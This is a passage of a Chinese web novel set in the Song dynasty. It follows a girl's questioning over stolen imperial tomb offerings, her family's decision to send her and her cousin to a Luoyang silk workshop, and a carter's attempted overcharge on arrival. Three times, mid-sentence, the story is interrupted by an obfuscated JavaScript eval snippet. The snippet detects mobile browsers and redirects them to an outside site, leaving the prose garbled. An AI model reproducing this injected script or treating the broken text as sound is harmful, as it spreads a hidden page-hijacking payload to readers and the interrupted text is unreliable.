刚拐过街角，就看见隔壁钱贵家两扇朱漆大门敞开着，院子一片狼藉，刚被抄过的家里碎瓦破罐满地都是，只有县衙的封条在风中摇摆。 几个半大孩子扒在墙头往里扔石子，嘻嘻哈哈。 孙大娘头天听说钱贵死在石沟村，转天下午寻了她娘家开油坊的表亲，连夜把家里值钱东西搬了一车，带着闺女钱福妞，头也不回地改嫁走了。 钱贵其他亲戚见他身后有恶名，又没油水可捞，自然不愿意蹚浑水，只凑了点钱让石沟村随意寻了块地下葬，连祖坟都没让进。 树倒猢狲散，钱贵家算彻底败了。 唐守仁看着钱家破败的门庭，想到从前威风凛凛的钱贵家破人亡，不禁生出世事无常的悲凉。 唐照环心中倒毫无波澜，他种恶因，得恶果，天理循环。 日子又回到了正轨，唐照环依旧每日和琼姐去绣艺坊学艺。 这日，王教习，她和琼姐一起被坊主从课室叫出，说有客要见。 一个面白无须的青年人带着两个皂隶站在绣艺坊专门会客的大堂屋门口，神情肃穆。 “王秀云？唐照环？唐照琼？”他声音尖细，一股子官腔。 王教习行礼：“妾身便是王秀云，二位小娘子在此。不知官人寻我等何事？” 青年人掏出一块腰牌晃了晃：“奉旨查问皇陵供奉相关事宜，进去吧。” “皇陵？！”王教习眉头微蹙。 琼姐吓得脸都白了，紧紧抓住唐照环的手。唐照环心头也是一跳，皇陵？怎么扯到这上头了？她面上努力保持平静，轻轻捏了捏琼姐的手心。 进了门，一个身着锦袍的内官端坐上首，青年人和坊主侍立在旁。 主桌上摆着两样东西。 一幅华贵的白底幡帐，上面用银线装饰五爪盘龙，龙爪处镶嵌了珍珠和黑曜石，另一盏造型古朴的铜灯盏，灯座上有几块明显的绿色锈斑。 锦袍内官目光锐利如鹰隼，依次扫过三人，最后落在王教习身上：“王秀云，你可曾见过此幡帐？是否经过你的手？” 青年人把幡帐交给王教习，王教习接过。 幡帐的布料光泽，尤其是龙爪处几处特殊的针脚走向。唐照环一眼就认出来了，正是她和琼姐在皇陵祭祀前夕，在王教习严厉监督下，熬了一整夜修补好的那幅。 她心跳加速，不敢贸然开口。 王教习仔细端详片刻，沉声道：“回禀上差，此幡帐系年中皇陵祭祀前，妾身发现龙爪因陈年墨渍处理不当，底线磨损，由妾身亲授针法，命学徒唐照琼及唐照环二人仔细按规制添补过的。” 那内官眼中精光一闪，又指向那铜灯：“这灯呢？” 王教习拿起铜灯，仔细看了看灯座上的锈迹，眉头皱得更紧：“此灯……形制确系皇陵长明供奉所用。但灯座这锈迹，不像寻常阴湿之气所生，倒像是埋在土中，受了地气侵蚀所致。” 内官颔首，脸上看不出喜怒，又转向琼环姐妹：“二位小娘子，按王秀云所言，修补龙爪可是你二人所为？” 琼姐吓得浑身发抖，话都说不出来。 唐照环深吸一口气：“回上官话，正是。当时王教习教导，我二人不敢有丝毫懈怠，修补之处皆按教习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359590|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吩咐，力求与原样一致。” 她特意点明是修补，说明只是局部小修，东西本身是好的。 内官见她虽然年幼，但眼神清澈，答话条理分明，不似作伪，又问了几个关于当时修补细节的问题，唐照环一一作答，王教习从旁证实。琼姐虽紧张，也磕磕巴巴补充了几句。 问话持续了小半个时辰。最后，内官让青年人录下三人口供，签字画押。整个过程，坊主站在一旁，大气都不敢出。 “好了，有劳三位。”内官挥挥手，让三人离开。 一连几日，绣艺坊内人心惶惶。隐隐有流言说皇陵出了事，绣艺坊怕要受牵连。王教习闭门不出，连课业都停了。琼姐更是吓得夜不能寐，生怕祸事临头。 直到十几日后，满面春风的坊主带来好消息：“经详查，祭祀监理内侍李检校勾结守陵内侍和吏员，监守自盗，多年来陆续偷换并私卖皇陵供奉器物，人赃并获。李检校直接下狱，涉案内侍和小吏锁拿进京，必受严惩。” 王教习忍不住问：“怎会被发现的？” 坊主一笑，压低声音：“发现并检举此案的，乃几月前奉旨前来主持皇陵祭祀的宗室贵人。” 赵燕直？唐照环想起那位打十个手板给二十两甜枣，乱糟蹋好东西又苦于无前程的年轻宗室。 坊主继续道：“赵主祭心细如发，祭祀时便觉出异样。回京后并未声张，而是暗中派人详查，顺藤摸瓜，一举揪出了这蛀虫。官家龙颜震怒，下旨严办。” “赵主祭立此大功，定有厚赏吧？”唐照环忍不住好奇问道。 坊主摇头晃脑，一脸钦佩：“这才是赵主祭令人敬服之处。官家要赏他金银田宅，他坚辞不受，只说：‘臣奉旨祭祀，见陵寝物器被蛀，查明乃分内之事，岂敢言功？若官家执意要赏，臣斗胆，唯请两愿。’” “哪两愿？”众人追问。 “其一，皇陵乃祖宗安寝圣地，祭祀供奉关乎国体，然外官监理终有疏漏。恳请陛下允准，允可靠宗室子弟参与皇陵日常监管巡查。言道‘宗室乃天家血脉，于自家事，自当较外臣更为尽心竭力’。其二，” 坊主顿了顿，脸上露出古怪又感慨的神色， “赵主祭说他自己虽为宗室，但自幼慕圣贤之道，恳请官家格外开恩，入太学进学。 你们不知，太学乃国子监下设，专收七品以下官员子弟及民间俊才，为朝廷培养后备官吏之所。宗室子弟自有宗学，且祖制严禁宗室干政，入太学实属逾制。 赵主祭说，‘读书明理，不分贵贱。臣虽蒙天恩位列宗籍，然寸功未立，实不愿尸位素餐，浑噩度日。太学之中，皆我大宋未来栋梁，臣愿与之切磋砥砺，亦可使宗室子弟略知民间疾苦及士子抱负，他日或能为陛下拾遗补阙，尽些绵薄之力。’ 官家感其诚心，又念其检举之功，破例允了，还赞他‘不忘根本，志存高远’。” 众人听得啧啧称奇，只有唐照环心中暗叹，他这招以退为进，先为宗室争取皇陵监管实权，再申请入太学，表面看自降身份，实则是给自己开出了一条前所未有的路。 坊主说完这些，才笑容满面地对王教习说：“此番你慧眼如炬，辨识赃物有功。官家有旨，擢升你为洛阳绫绮场掌计，上元节后便赴任。” “谢恩典。”王教习激动得声音发颤，连忙行礼。 消息传开，绣艺坊里顿时炸开了锅，众人纷纷向王教习道贺。 待众人散去，王教习将琼环二人唤至自己的值房，脸上难得露出兴奋笑意。 “此番机缘实属难得，洛阳绫绮场汇聚了顶尖的绣娘，织工和染匠，技艺之高，眼界之广，非此间可比。” 她顿了顿，缓缓道， “你们姐妹，一个心细手稳，一个心思灵透，都是可造之材。若家中无异议，我想带你们同去洛阳。随我学艺，吃住皆在绫绮场工舍，可否？” 琼姐惊喜地捂住了嘴，唐照环心中亦是波澜起伏。 “不必现在决定，离绣艺坊腊月休憩还有时日，你们先回家商议，正式放假前答复我即可。” 唐照环与琼姐一同行礼致谢。 30.第 30 章 出门 第一卷完 姐妹俩谢过教习，怀揣王教习形同关门弟子的邀约回了家。 刚踏进院门，想寻家人商议，见家中气氛与往日大不相同。 唐守仁正拿着一封盖着州府大印的文书，脸上神情复杂，似喜似忧。溪娘抱着小玥儿在一旁，眼圈微红。连惯常刻薄的大娘，此刻也难得地安静，只是撇着嘴，不知在想些什么。 “爹，娘，这是？”唐照环问道。 唐守仁将文书递给她：“环儿，琼儿，你们回来得正好，方才县衙送来的。知县为表彰我临危受命，安抚地方并宽慰民心之功，特行文举荐，保我入西京国子监深造，年后便启程。” 西京国子监？唐照环心中猛地一跳，竟与王教习的邀约撞在了一处。琼姐又惊又喜，拉着她的手直晃。 溪娘愁道：“洛阳那等大地方，花销必是如流水，你爹一个人去，身边没个照应，可怎么好？” “爹，娘，大娘，我也有事禀告。”唐照环按下心中波澜，将王教习升迁洛阳绫绮场，欲带她和琼姐同往，吃住工舍，形同关门弟子之事，原原本本说了。 堂屋里顿时静了。溪娘抱着玥儿的手紧了紧，看向女儿的眼神满是担忧与不舍。 大娘则像被踩了尾巴的猫，尖声道：“洛阳？绫绮场？还关门弟子？环丫头，你不要被王教习哄了去，那种地方规矩大似天，伺候的都是贵人，一个不小心，脑袋搬家都不知道。琼儿性子软也就罢了，你这丫头主意比天大，去了还不得闯祸，不如在绣艺坊学几年女红，找个殷实人家嫁了是正经。” 唐守仁沉吟不语。他深知女儿聪慧远超常人，困在永安县实是埋没。绫绮场虽为匠作之地，却是顶尖所在，更是王教习亲自提携，此等机缘可遇不可求。 还有一点，唐照环自从石沟村归来后，精神状态时有反复，不是整宿睡不着，就是昏睡不愿醒，他和溪娘皆认定女儿被吓到了，也许换个环境能令她恢复。 “环儿，你自己如何想？” 唐照环摇摆不定，她去绣艺坊只为了给脑子里存的知识找个出处，在这里这么多年，早已把唐守仁他们当自己亲人，离开太远，真有点舍不得。 “绫绮场汇聚天下顶尖技艺，王教习愿倾囊相授，确实是好事，可我下不了决心。” 唐守仁明白了她的心思：“既然如此，等你爷奶从田庄回来过年，阖家商议再定。” 过了两日，天降小雪，年关将近的寒气更重了。唐家主屋重新热闹起来，爷奶带着主家田庄一年的收成和几大车年货回来了。 爷爷依旧沉默寡言，奶奶风风火火，指挥着卸货归置，中气十足。 当晚，一家人七手八脚将爷奶从田庄带回来的东西搬进灶房。主屋暖炕烧得热烘烘，全家齐聚，唐守礼也早早到了，给二老请安问好。 爷奶坐定，喝过热茶，环顾收拾得焕然一新，处处透着兴旺气象的小院，爷爷脸上的喜气风霜也掩不住，奶奶一脸慈祥，抱过溪娘怀里的小玥儿亲了又亲。 李铁枪的儿女不在此处，他们在唐守礼安排之下，进大牢跟亲爹相聚一晚。 饭桌上，唐守仁将西京国子监和王教习邀约琼环二人同去绫绮场两桩事和盘托出。 爷爷只是嗯了一声，不置可否。 奶奶放下筷子：“老二去洛阳是正经前程，还是知县抬举，不能推。环丫头和琼丫头跟王教习去绫绮场的事……环丫头，你跟你爹一样，是个有主意的。那地方听着是伺候人的匠作，可王教习当上掌计还点名要带你们，是看得起，给你们前程，老婆子看，去得。 就这么定。等开春，老二去上学，环丫头和琼丫头跟王教习去绫绮场，都去洛阳。” 奶奶是家里的主心骨，她发话，爷爷自然同意，其他人也不会有异议。 奶奶看向溪娘和小玥儿，还有一旁脸色变幻的大娘：“守仁和俩丫头都走了，家里剩你们几个妇孺，宅子空落落的不安全。等出了正月，老大家的，还有老二家的带着玥丫头，跟我们老两口回田庄。庄子里人多，房子也宽敞，有人照应，省得你们在家提心吊胆。” 爷爷难得开口：“你们只管安心住，等守仁在洛阳安顿好了，寻到合适的住处，再决定你们娘几个的去处。” 溪娘闻言，抱着玥儿连忙应下。 爷爷点点头，继续安排：“守礼如今是押司了，也算半个官身，再住他那四处漏风的破屋子不像样，丢咱家的人。年后两家一起凑点钱，把他那屋子好好翻修翻修，翻修期间嘛，守礼你搬过来暂住些时日，横竖其他人年后就出门了，屋子空着也是空着。” 唐守礼一听又能翻新自己的破屋，又能住进这亮堂堂的院子，哪有不乐意的，忙不迭地点头哈腰：“哎哟，谢谢五伯伯，谢谢五伯娘，谢谢大嫂，谢谢二哥二嫂，我一定规规矩矩，绝不给家里添乱。” 大娘脸拉得老长，终于忍不住说出内心想法：“去田庄？那乡下地方，鸡飞狗跳的，哪有城里住着舒坦。” 她心里的小算盘打得噼啪响。留在城里，守着这院子，等唐守礼搬进来……近水楼台。她一个寡妇，若能攀上新贵押司小叔子，后半辈子岂不就有了着落。去乡下田庄，跟一群泥腿子混在一起，哪还有机会。 奶奶何等精明，一眼就瞧穿了大娘那点心思。 她慢悠悠地道：“你这话说的。田庄是吵些，可安全啊。 你想想，钱贵那事儿真就彻底了了？他那些狐朋狗友，三教九流的，保不齐还有心怀怨恨，想迁怒咱家的。或者觉得咱家新贵，油水厚，想来借点钱花花。我们，守仁和俩丫头一走，家里就剩你和溪娘外加个奶娃，万一有个闪失可怎么好。 田庄上，有主家的护院，有咱唐家本族的青壮，谁敢去撒野。” 奶奶这话，半是实情，半是敲打，特意点出钱贵余党可能寻仇这茬。 大娘果然被吓住了，脸色白了白，下意识地朝门口望了一眼。但她仍不甘心，眼珠子滴溜溜转，瞟向一旁正美滋滋盘算翻修新房的唐守礼，脸上堆起僵硬的笑，声音也放软了：“三弟如今是押司老爷了，前程似锦，身边也没个知冷知热的人伺候着。这翻修屋子，搬家安顿的，琐碎事多着呢……” 她话里的暗示，连琼姐都听出来了，臊得低下头。 唐守礼冷不丁被大娘的秋波一送，差点噎着。他混迹市井，什么场面没见过？大娘那点心思，他门儿清。 可他现在是什么身份？新晋押司！前程大好！怎么可能娶个刻薄寡嫂进门，自毁声誉。 他立刻打了个哈哈，岔开话题：“哎哟，嫂子说笑了。我唐守礼光棍一条，皮糙肉厚的，哪用人伺候。搬家修屋，自有街面上的兄弟帮忙，不劳嫂子费心。嫂子还是听公婆的，去田庄享福是正经，安全第一，安全第一。” 大娘见唐守礼装聋作哑，油盐不进，给了自己个软钉子碰，一张脸青红交加，却又无可奈何。 她最终颓然低下头，咬着后槽牙，从牙缝里挤出几个字：“行吧，听二老安排，我晚点回去收拾东西。” 唐守仁嘱咐唐守礼：“李铁枪那一对儿女就不要随溪娘去田庄了，他俩不姓唐，去田庄恐被其他人欺负，还跟你一起住这院子。等大牢那边风声没那么紧了，你安排李铁枪过来住几个晚上，借他身上煞气镇镇宅。” 虽说钱贵不是死在自家院子里，可看到唐照环夜不能寐，唐守仁还是不放心。他想着，干脆请李铁枪过来住两天，万一钱贵真阴魂不散，见着他也得逃之夭夭。 唐守礼一听，哪有不乐意的，他巴不得人人都知道他有个武艺高强的帮手：“二哥思虑周到，我想办法。” 第二日，唐守仁给知县上了谢表，向西京国子监递了学籍，唐照环和琼姐提着爷奶带回来的土产，由唐守仁出面，郑重地答应了王教习洛阳相见。 王教习听唐守仁说国子监让新学子二月一日报到，体谅唐照环家境，也让一家人多聚聚，便说唐照环和琼姐不用上元节过完立即随她去洛阳。她自己先去绫绮场收拾东西住处，琼环二人随唐守仁同到即可。 确定了年后各个人的去向，全家专注准备过年。 转眼便是元丰五年的最后一天，除夕。 永安县里爆竹声声，瑞雪初霁。唐家老宅张灯结彩，比往年更加热闹。杀猪宰羊，蒸糕炸果，香气弥漫了整个巷子。 今年的唐家祭祖，气象大不相同。往年除夕祭祖，唐守仁家因贫寒，总缩在角落。今年，他们一家却被族长亲自安排在了主家之后，分家第一排的位置。 大人们一身簇新，气度沉稳。唐照环和唐照琼特意身着王教习年前送来赏的，由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369780|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绣艺坊新制的袄裙，亭亭玉立，在一众叽叽喳喳的小娘子中，显得格外出挑。小玥儿被溪娘裹在红彤彤的披风里，由唐守仁抱着行礼。 唐守礼穿押司公服，站在唐守仁身侧，一副与有荣焉的模样。只有大娘，想到年后便要出门，心里酸溜溜的不是滋味。 祭祖完毕，年夜饭摆在唐守仁家焕然一新的堂屋里。 爷奶坐了上首，大娘，唐守仁和溪娘，孩子们，唐守礼，还有特意请来的唐鸿音围坐一桌。桌上鸡鸭鱼肉，各色果品点心，摆得满满当当，比往年丰盛了何止一倍，来自唐守礼孝敬的醉仙楼全套席面。 酒过三巡，菜过五味。唐鸿音端着一杯酒，笑嘻嘻地举杯。少年郎跑商历练，晒得黑红，眼神却更加锐利精明。 “三哥这两个月押司做得真不错，以后继续努力，莫要辜负了知县和我爹信任。” 唐守礼忙不迭起身，指天发誓，一番效忠家族效忠知县的慷慨陈词。 “二哥，环儿琼儿，敬你们一杯。”唐鸿音笑嘻嘻地再举一杯，“祝二哥下届高中，鹏程万里，祝二位侄女绫绮场里学得通天手艺。” 众人都笑了。唐守仁笑着饮了，唐照环和琼姐也端起茶杯抿了一口。 欢声笑语，觥筹交错，溪娘抱着吃饱了奶，正咿咿呀呀玩着铃铛的小玥儿，看着这热闹团圆的景象，再看看身边沉稳的相公和聪慧的女儿，眼中噙满了欣慰的泪水。这是她嫁入唐家以来，过得最舒心，最热闹也最有盼头的一个年。 敲了三更，所有人送唐鸿音出门。 他压低声音，跃跃欲试地对唐守仁和唐照环说：“跟你们透个风。等开了春，你们去了洛阳站稳脚跟，说不定，我也要去洛阳转转。” “你也去？”唐守仁诧异。 唐鸿音眼睛发亮：“是啊，前两日，三哥出面把机织许可办下来了，我爹寻了家族里可靠的亲戚，叫他年后再添两台织机，把咱唐家作坊热热闹闹办起来。 我是跑商嘛，哪热闹往哪凑。洛阳可是西京，天下财富汇聚之地，我琢磨着去探探行情，看看时兴料子。万一混出点名堂，也好跟二哥和侄女们在洛阳有个照应不是。” 唐鸿音有胆识，懂变通，若能引为助力，在洛阳那等繁华地方，或许真能成事。 唐照环笑着朝爽朗机敏的十二叔点头：“十二叔若来，我们扫榻相迎。” 欢乐的时光总是易逝，元丰五年翻过篇，元丰六年的春风，已在料峭的寒意中悄然萌动。 正月将尽，离别的日子终于到了。 一月最后一天，天色将明未明，唐照环家的小院已人影匆忙。 几辆结实大车停在院外，是唐鸿音早早托相熟的车行赁好的，连车夫都是靠得住的老把式。行李早已捆扎妥当，无非是些被褥衣物，书籍笔墨。 堂屋内，气氛凝重又饱含期盼。 爷奶不停叮嘱唐守仁和两个小娘子：“到了国子监专心向学，家里不用挂念。环儿琼儿，跟着教习好好学本事，莫怕吃苦。” 溪娘红着眼眶，强忍着泪，将给三人的物件仔细检查了又检查。 大娘脸上虽仍有不情愿，却也少了几分刻薄，多了些离别的茫然，把最后一个小包袱塞上车。 唐守礼今日格外正经，特意穿了新官服来送行，对着三人深深一揖：“祝愿二哥此去，鹏程万里，环儿琼儿，到了洛阳有什么事，记得给三叔捎信儿。” 他这话倒有几分真心，毕竟侄女的本事和她们背后的王教习，都是他日后可能用得上的人脉。 唐照环郑重回礼：“谢三叔，家中诸事，有劳三叔费心。” 天色渐明，晨曦微露，寒风依旧刺骨，众人不再耽搁。 唐守仁搀扶着爷奶上了头一辆车。溪娘抱着裹得严严实实的小玥儿，和大娘一起上了第二辆。 唐照环和唐照琼姐妹则上了第三辆。 车夫扬起鞭子，骡马打着响鼻，车轮碾过黄泥土路，发出辚辚的声响，向着南城门缓缓行去。 车帘缝隙中，唐照环最后看了一眼生活了多年，承载了太多悲欢的小院，心中百感交集。 此一去，山高水长，前路未知，也许再也不会回到此处。 但她心中并无畏惧，只有一片豁然开朗的天地和无限可能的未来。 31.第 31 章 绫绮场 骡车吱吱呀呀，碾过官道上的残冰碎雪。 车队在主家田庄附近停下，溪娘与唐守仁和唐照环，大娘和琼姐依依惜别，两队人分道扬镳，唐守仁上了琼环二人的车，一路朝洛阳赶去。 头天晚上，三人歇在了城南三十里处，第二天天还没亮，车夫便催着三人出发，又行了一个多时辰光景，终于望见了巍巍西京洛阳的轮廓。 二月初，北地春寒依旧料峭，官道上车马行人已渐多，贩夫走卒，行商客旅操着南腔北调，透着一股子不同于永安县的喧嚣生气。 交了入城税，载着唐守仁父女的青布小车缓缓驶入这座闻名天下的雄城。 穿过厚重高大的定鼎门，一股鼎沸的人声热浪扑面而来，唐照环迫不及待地掀开车帘一角，顿时被眼前的景象攫住了心神。 只见街道宽阔，足容数车并行，青石板铺就的路面被无数车辙脚印磨得光滑。两旁店铺鳞次栉比，酒旗招展，幌子高悬。 绸缎庄里流光溢彩，金银铺子宝气氤氲，香料行异香扑鼻，酒楼茶肆飘出诱人的香气，更有驼铃声声，驼队载着异乡面孔和不知何种货物缓缓前行。 行人摩肩接踵，锦衣华服者有之，布衣短褐者更多，汇聚成一片生动的市井画卷。繁华富庶与勃勃生机，远超唐照环的想象。 “爹，您看，好热闹。”她兴奋地指着外面。 唐守仁亦是目眩神迷，连连点头：“西京气象，果然非比寻常。” 琼姐更是看得眼花缭乱，紧紧抓着堂妹的衣袖。 车夫大声问道：“客官，你们在洛阳要去两处，国子监和绫绮场，先往哪边走？” 唐守仁回答：“劳烦先去绫绮场。” “好嘞。”车夫一边控制方向，一边不忘介绍，“东城乃洛阳各官衙汇聚之所，绫绮场就在东城宣仁门外，属清化坊地界。北边是天下粮仓含嘉仓，门口有引洛水而入的漕渠，贯通洛河，运送贡品丝帛倒也便宜。” 唐照环的心砰砰直跳，心中翻江倒海。清化坊，宣仁门，含嘉仓，这位置不就是她前世去洛阳旅游时，那个号称还原唐宋洛阳的洛邑古城所在地吗？她脑海里瞬间浮现出飞檐斗拱，雕梁画栋，天女散花，游人如织的现代场景，一股难以抑制的兴奋涌上心头。 绫绮场，皇家顶级工坊，紧挨着权力中心。这环境，这待遇，她仿佛已经看到自己在这繁华锦绣之地，凭借超越时代的见识和绣艺，如何大展拳脚，过上舒适惬意的生活。 怀着这份憧憬，她趴在车窗边，贪婪地看着车外景象。骡车穿街过巷，越行越近宫城东侧。高大的宫城城墙在望，气象森严。周围官署渐多，行人服饰也显贵气。终于在一处颇为幽静但明显带官家气派，上书清化坊三个大字的坊门前停下。 进了坊，行不多远，便见一堵高墙圈起一片建筑。大门不算宏伟，黑漆红钉，门楣上悬着一块写有绫绮场的乌木匾额。门口有条丈许宽的清渠，流水潺潺，通向远方洛河方向。 “绫绮场到了。”车夫停下车。 唐照环看向从围墙顶部露出的青砖灰瓦，感觉这里规模似乎并不如何宏大，比起刚才路过的繁华市井，甚至显得局促。 唐守仁率先下车，将两个小娘子的凭书交给门房管事：“我们从永安县来，劳烦您通传王秀云王掌计。” 管事看了凭书，叫了个小厮快速跑向院子深处，不多时，一个身形瘦削的中年妇人出现在门口。她背脊挺直如青松，眉宇间带着惯常的严肃，正是王掌计。 唐守仁忙领着琼环姐妹疾步上前，躬身行礼：“掌计安好，劳您久候。” 王掌计微微颔首，凤目扫过风尘仆仆的三人，落在唐照环虽带倦意却难掩兴奋的脸上，嘴角几不可察地牵动：“路上辛苦。住处已安顿妥帖，随我来吧。” 她言简意赅，转身进了门。 守门的皂隶躬身行礼，放四人进入。 踏入大门，唐照环满心的期待和想象落了空。 眼前哪像什么大宋三大织造院之一，只见青砖铺地，古树虬枝，实话说倒也清幽，但是建筑不过四五十间房舍，规模顶多比永安县绣艺坊大上两倍而已。 院中既无织机轰鸣，也看不到彩练当空，晾晒场数十匹锦绣迎风招展的景象。人影没见几个，四下里静悄悄的，只有几个统一穿着青色短衣的仆妇安静洒扫，气氛冷冷清清。房子虽整齐，但梁柱门窗皆显古旧，远非想象中的富丽堂皇。 “这便是绫绮场？不像啊。”琼姐也忍不住小声感慨。 王掌计仿佛没听见她们的讶异，径直引三人穿过前院，拐进后面一处更小的独立跨院。小院青砖围墙，院门虚掩。推门进去，只见一方极小的天井，正北一间正房带东西各一厢房，院角还有个只能供一人转身的小厨房。 “以后我们便住在此处。”王掌计介绍道，“我住堂屋。你们姐妹，东西厢自己选。” 唐照环压下心中的巨大落差，强打起精神，习惯性地走向东厢房，推开门，里面一床、一套桌凳、一柜、一盆架，陈设简单洁净。 她回头对琼姐一笑：“我还住东厢吧，跟家里一样。” 琼姐自然选了西厢。 唐守仁见环境虽不奢华，倒也清净宽敞，利于小娘子学艺，心中稍安。他挽起袖子，帮两个小娘子把行李搬进各自房间，又帮忙铺床叠被，安顿箱笼。王掌计也不多言，只在一旁静静看着，偶尔指点一句何处放更妥当。 待收拾得差不多，王掌计才道：“院角有间小厨房，但场里有规矩，除年节特许，平日不得私开伙，一日三餐皆去前院公厨。” 唐守仁安顿妥当，眼见日头渐高，心中记挂自己的前程，不敢再耽搁，便向王掌计拱手：“有劳掌计费心照料，在下还需赶去国子监报到，路途遥远，就此别过。” 从城北清化坊到城南观德坊，足有十五里之遥，够他走上好一阵了。 王掌计点头：“唐秀才自便，我自会看顾。” 两人依依不舍地送唐守仁出小院，回到大门外。来时雇的那辆骡车还停在原处，车夫正蹲在车辕边啃着个冷硬的面饼，见他们出来，三两口把饼塞进嘴里，拍拍手站了起来，脸上堆笑：“咱这就走？” “有劳了。”唐守仁点点头，将随身包袱放进车厢，抬腿准备上车。 那车夫搓着手，嘿嘿一笑，挡在了车前：“您看这车钱，咱得再算算。” 唐守仁一愣：“车钱？永安县到洛阳城一百二十余里，昨日清早启程，今日截至晌午，不是讲好二百文，钱货两讫了吗？钱我可是一出永安县南门就付清了的。” 他说着就要去怀里掏乘车契纸。 “是付清了。”车夫连连点头，随即又苦着脸，“可当时讲的是不走回头路。所以应该是先送您去南边的国子监，再到这里。我卸了行李，转头就能去车马行接别的活计，不耽误功夫。 可现在先来了城北的清化坊，再送您去城南观德坊，多跑了小二十里地，骡子要喂，人要吃饭，这工夫也耽误了不是，得加点脚钱。” 唐守仁是个老实人，一时语塞，觉得有道理，加之脸皮薄又急着赶路，便问：“也行，你说添补多少？” 车夫伸出两根手指，又翻了三翻：“不多不多，您给添七十文就成，图个吉利。” “七十文？”旁边的唐照环早已柳眉倒竖，差点气笑了，“从永安县到洛阳城，一百多里地跑了一天一夜，你管自己吃住，我们付你二百文。现在多跑这不到二十里城里的路，你张口就要七十文，洛阳城金子铺的路吗？你怎么不去抢。” 车夫被个小女娃抢白，脸上有些挂不住，梗着脖子掰扯。 “小娘子，话不能这么说，县里是县里的价，城里是城里的价。洛阳城大，路堵耗时辰，你们临时改道耽误我功夫，这损失不得补？七十文，一文不能少。”他眼珠子转了转，瞥了一眼车厢里唐守仁的包袱，耍无赖道，“不然您的行李还在我车上，我只好拉着它去车马行，等您想通了，带着钱再来赎吧。” “你！”唐守仁气得脸色发白，指着车夫，“岂有此理，光天化日，强取豪夺。” 车夫抱着胳膊，一副死猪不怕开水烫的模样：“客官言重了，小的就是个赶车的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374653|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按规矩讨口饭吃。” 就在僵持不下之际，一个清冷的声音自身后响起：“何事喧哗？” 众人回头，只见王掌计不知何时已站在了绫绮场大门前，身形瘦削，面容沉静，那双凤目淡淡扫过车夫，自有一股不怒而威的气势。 车夫被这目光看得心头一凛，但看她穿着朴素，不像什么贵妇，又仗着自己是有理一方，忙不迭地诉苦：“这位娘子您给评评理，他们雇车说好先南后北，现在先北后南，多跑冤枉路耽误功夫，要他们添七十文辛苦钱，不过分吧？” 王掌计没理他，目光转向唐照环：“怎么回事？” 唐照环竹筒倒豆子般把原委说了，尤其强调了车夫坐地起价和扣行李的无赖行径。 王掌计听完，脸上依旧没什么表情，只指了指车夫那辆半旧不新的骡车：“洛阳城内，官定骡车脚价按里计价。装饰齐整又骡马健壮的车专跑城内接送，一里不过三文钱。你这车，比专车还要价？” 车夫噎了一下，支吾道：“那，那也不能……” 王掌计根本不给他狡辩的机会：“从此处清化坊到城南观德坊国子监，取道天街，不过十五里上下。按官价顶格算，三文一里，四十五文足矣。你张口七十文是何道理？莫非欺这外乡父女面生，还是觉得我绫绮场的人好讹诈？” 车夫没想到王掌计会代为出头，他虽然只是个车夫，也知道这地方是官家地界，里头的人不好惹。 车夫脸涨红了：“您不能这么算，我还得空跑回来呢。” “你载人去观德坊，卸了行李，自可在那附近寻活计。城南车马行人流如织，难道还缺你回北城的生意，非要空跑回来才叫不耽误工夫，你这算盘打得未免太精了些。 要么按我说的，收下公道价四十文，恭送他去观德坊。” 王掌计朝门内值守的皂隶扬了扬下巴， “要么我着人拿了你的车马号牌，去请市税司的差爷来评评理。你这勒索行旅的行径，按律除追缴所索钱款外，罚铜百文，再扣车三日。” 市税司三个字一出，车夫的脸彻底白了。他这种底层车夫，最怕的就是惹上官府。市税司专管商贾行市，物价纠纷，那些差役如狼似虎，真要被抓到把柄，罚钱都是轻的，别把他吃饭的家伙弄没了。 “哎哟娘子，使不得，使不得啊。”车夫顿时慌了神，刚才的无赖劲儿消失得无影无踪，连连作揖，“是小的一时糊涂，猪油蒙了心。四十文，小的这就送客官去观德坊。” 他再不敢多话，手脚麻利地整理好车上剩余的行李，又殷勤地请唐守仁上车，态度与方才判若两人。 唐守仁看得目瞪口呆，对王掌计深深一揖：“多谢掌计解围。” 王掌计摆摆手：“举手之劳。唐秀才快去吧，莫误了时辰。” 唐守仁又叮嘱了女儿几句，这才登上骡车。车夫一声吆喝，鞭子甩得脆响，快速驶离了清化坊，再不敢有半分拖延。 唐照环看着远去的车影，心情复杂。 她走到王掌计身边，小声道：“谢谢您。要不是您，刚才可真麻烦了。” 王掌计神色稍缓：“市井小人惯会欺软怕硬，日后遇事，据理力争之余，更要懂得借势。记住，有理，也要有力。” 唐照环用力点头，将这话记在心里。 